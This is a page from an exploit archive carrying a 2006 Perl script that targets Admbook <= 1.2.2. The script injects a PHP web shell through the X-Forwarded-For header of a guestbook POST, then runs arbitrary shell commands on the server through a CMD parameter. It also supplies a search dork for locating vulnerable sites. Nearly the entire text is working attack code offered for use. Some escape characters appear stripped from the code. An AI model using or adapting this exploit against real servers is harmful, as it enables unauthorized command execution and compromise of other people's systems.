[Exploit]  [Remote]  [Local]  [Web Apps]  [Dos/Poc]  [Shellcode]  [RSS]

# Title : Admbook <= 1.2.2 (X-Forwarded-For) Remote Command Execution Exploit
# Published : 2006-02-19
# Author : rgod
# Previous Title : PunBB <= 2.0.10 (Register Multiple Users) Denial of Service Exploit
# Next Title : BXCP <= 0.2.9.9 (tid) Remote SQL Injection Exploit


#!/usr/bin/perl -w
use IO::Socket;

print "*************************************************************************rn";
print "|            Admbook <=1.2.2 X-Forwarded-For cmmnds xctn xploit        |rn";
print "|                     By rgod rgod<AT>autistici<DOT>org                |rn";
print "|                   site: http://retrogod.altervista.org               |rn";
print "|                                                                      |rn";
print "| Sun-Tzu: "Rouse him, and learn the principle of his  activity  or    |rn";
print "| inactivity.  Force him to reveal himself,  so as to find out  his    |rn";
print "| vulnerable spots."                                                   |rn";
print "*************************************************************************rn";
print "| dork:  intitle:admbook intitle:version filetype:php                   |rn";
print "*************************************************************************rn";
sub main::urlEncode {
    my ($string) = @_;
    $string =~ s/(W)/"%" . unpack("H2", $1)/ge;
    #$string# =~ tr/.//;
    return $string;
 }

$serv=$ARGV[0];
$path=$ARGV[1];
$cmd=""; for ($i=2; $i<=$#ARGV; $i++) {$cmd.="%20".urlEncode($ARGV[$i]);};

if (@ARGV < 3)
{
print "Usage:rn";
print "perl admbook_122_xpl.pl SERVER PATH COMMANDrnrn";
print "SERVER         - Server where AdmBook is installed.rn";
print "PATH           - Path to AdmBook (ex: /admbook/ or just /) rn";
print "COMMAND        - A shell command rn";
print "Example:rn";
print "perl admbook_122_xpl.pl localhost /admbook/ ls -larn";
exit();
}

$sock = IO::Socket::INET->new(Proto=>"tcp", PeerAddr=>"$serv", Timeout  => 10, PeerPort=>"http(80)")
or die "[+] Connecting ... Could not connect to host.nn";
               
$SHELL='";if (isset($_GET[CMD])){ECHO"Hi Master!";INI_SET("max_execution_time",0);PASSTHRU($_GET[CMD]);DIE;}echo"';
$data="page=1";
$data.="&name=whoami";
$data.="&url=";
$data.="&email=whoami@SUNTZU.COM";
$data.="&icq=";
$message=urlEncode("I love italian guys!");
$data.="&message=".$message;
print $sock "POST ".$path."write.php HTTP/1.1rn";
print $sock "Referer: http://".$serv.$path."index.phprn";
print $sock "X-Forwarded-For: GUESS_WHAT:".$SHELL."rn";
print $sock "Content-Type: application/x-www-form-urlencodedrn";
print $sock "User-Agent: sun-tzurn";
print $sock "Content-Length: ".length($data)."rn";
print $sock "Host: ".$serv."rn";
print $sock "Connection: Closernrn";
print $sock $data;
close($sock);

sleep(2);

$sock = IO::Socket::INET->new(Proto=>"tcp", PeerAddr=>"$serv", Timeout  => 10, PeerPort=>"http(80)")
or die "[+] Connecting ... Could not connect to host.nn";

print $sock "GET ".$path."content-data.php?CMD=".$cmd." HTTP/1.1rn";
print $sock "Host: ".$serv."rn";
print $sock "Connection: closernrn";

while ($answer = <$sock>) {
  print $answer;
}
close($sock);

# www.Syue.com [2006-02-19]